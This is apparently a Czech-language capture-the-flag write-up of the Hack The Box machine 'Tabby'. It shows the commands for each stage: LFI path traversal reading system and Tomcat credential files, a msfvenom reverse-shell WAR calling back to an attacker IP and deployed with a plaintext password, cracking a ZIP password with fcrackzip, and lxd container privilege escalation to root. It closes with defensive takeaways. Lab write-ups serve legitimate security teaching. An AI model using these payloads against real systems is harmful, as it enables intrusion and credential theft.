Tabby
Úvod a kontext
Tabby je stroj, kde se hezky propojí tři různé vrstvy: lokální file inclusion na webu, Tomcat Manager a pozdější lokální privilege escalation přes skupinu lxd. Každý krok sám o sobě dává jen část přístupu a až jejich spojení vytvoří celý řetězec.
Foothold vede přes vedlejší virtuální host megahosting.htb, z něhož lze číst soubory přes parametr file. Získaná Tomcat hesla otevřou deploy WAR archivu a shell jako tomcat, tedy přesně ten typ oficiálního deploy kanálu, který rozebírám i v článku Nebezpečné uploady: polygloty, WAR deploy a plugin upload. User část ale patří až účtu ash, ke kterému se dá dostat přes reuse hesla mezi aplikací a systémem z prasklého ZIP archivu.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív mapuji veřejné služby a ověřuji, jestli vedle webu běží i samostatný aplikační server.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open http Apache Tomcat
Tomcat na 8080 je sám o sobě zajímavý, ale bez přihlašovacích údajů ještě nemusí znamenat nic. Proto je nejdřív potřeba rozebrat web na portu 80.
Analýza zjištění
LFI na megahosting.htb
Vedle hlavní stránky existoval vhost megahosting.htb, kde endpoint news.php načítal soubor z parametru file. To okamžitě vybízí k testu na LFI a následnému file-read pivotu, tedy přesně k patternu popsanému i v článcích Local File Inclusion a File read a include varianty mimo klasické LFI:
view-source:http://megahosting.htb/news.php?file=../../../../etc/passwd
Jakmile se potvrdí čtení souborů, dává smysl hledat tajemství spojená s Tomcatem. U Ubuntu/Tomcat 9 byl důležitý soubor:
view-source:http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
<user username="tomcat" password="__CENSORED__" roles="admin-gui,manager-script"/>
To je zásadní mezikrok celého stroje. LFI zde neslouží k přímému shellu, ale ke čtení konfiguračního tajemství, které odemkne Tomcat Manager.
Získání přístupu
Deploy WAR archivu přes Tomcat Manager
S přístupem manager-script lze na Tomcatu nahrát vlastní WAR aplikaci. Stačí si připravit jednoduchý reverse shell, třeba pomocí Metasploitu: msfconsole a msfvenom:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.9 LPORT=4444 -f war > shell.war
Pak ho nasadit přes textové rozhraní manageru:
curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/rev_shell'
curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/rev_shell/
Tím vznikl shell jako tomcat. To je ale stále jen aplikační účet, ne user část stroje.
ZIP archiv a reuse hesla
Lokální enumerace odhalila soubor:
/var/www/html/files/16162020_backup.zip
Archiv byl chráněný heslem, takže dávalo smysl stáhnout ho a zkusit cracknout:
fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip
admin@it
Obsah archivu sám o sobě nebyl zásadní, ale právě heslo bylo. Znovu se použilo pro lokální účet ash:
su ash
Po přepnutí už šlo potvrdit user flag:
cat user.txt
__CENSORED__
Eskalace oprávnění
Skupina lxd
Po přihlášení jako ash byla nejdůležitější informace v členství skupin:
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),...,116(lxd)
Skupina lxd je v praxi privilegovaná, protože dovolí vytvořit privilegovaný kontejner a přimountovat do něj hostitelský filesystem. To je dobře známý a velmi silný privesc vektor.
Postup je klasický:
lxc image import ./alpine-v3.12-i686-20200827_2319.tar.gz --alias myimage
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Uvnitř kontejneru je pak filesystem hosta dostupný pod /mnt/root, takže root flag leží v:
cat /mnt/root/root/root.txt
Shrnutí klíčových poznatků
- LFI na
megahosting.htbnemělo sloužit k přímému command execution, ale ke čtenítomcat-users.xml. - Tomcat Manager přinesl shell jako aplikační účet
tomcat, ale user část vznikla až po reuse hesla z prasklého ZIP archivu pro účetash. - Root část nestála na další zranitelnosti webu, ale na privilegovaném členství ve skupině
lxd.
Co si odnést do praxe
- Vedlejší vhosty a pomocné weby bývají slabším článkem než hlavní aplikace. Pokud umí číst soubory z disku, často odkryjí tajemství jiného serveru nebo runtime.
- Hesla chránící zálohy a archivy nesmí být znovu použitá pro systémové účty. I „neškodný“ ZIP pak může fungovat jako slovník pro laterální pohyb.
- Členství ve skupině
lxdje potřeba považovat za privilegovaný přístup. Na hostech, kde běží LXD, to prakticky odpovídá rootovi.
Další související články
HTB Stroje
Techniky
- Insecure deserialization napříč stacky
- Document workflow jako RCE nebo file-read primitivum
- Nebezpečné uploady: polygloty, WAR deploy a plugin upload